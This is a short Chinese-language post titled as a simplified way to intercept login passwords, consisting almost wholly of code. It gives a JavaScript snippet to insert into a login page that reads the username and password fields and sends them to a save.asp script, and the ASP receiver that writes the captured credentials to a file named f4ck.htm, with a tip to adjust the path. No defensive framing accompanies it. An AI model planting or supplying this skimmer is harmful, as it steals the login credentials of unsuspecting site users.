简化版截获登录密码
发送端的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<script type="text/javascript">// <![CDATA[
functiongetpass()
{
varname=document.getElementById("username").value;
varpass=document.getElementById("password").value;
varxmlhttp;
if(window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=newXMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=newActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET","save.asp?u="+ name +"&p="+ pass,true);
xmlhttp.send();
}
// ]]></script>
|
把这段加入到之间。方便加载
接收端save.asp的代码
1
2
3
4
5
6
7
8
9
10
11
12
|
<%
dim user,pass,fs,fname
user = Request.QueryString("u")
pass = Request.QueryString("p")
set fs=Server.CreateObject("Scripting.FileSystemObject")
set fname=fs.CreateTextFile("C:\wwwroot\f4ck.htm",true)
fname.Write(user + "
" + pass)
fname.Close
set fname=nothing
set fs=nothing
%>
|
修改C:\wwwroot\的路径即可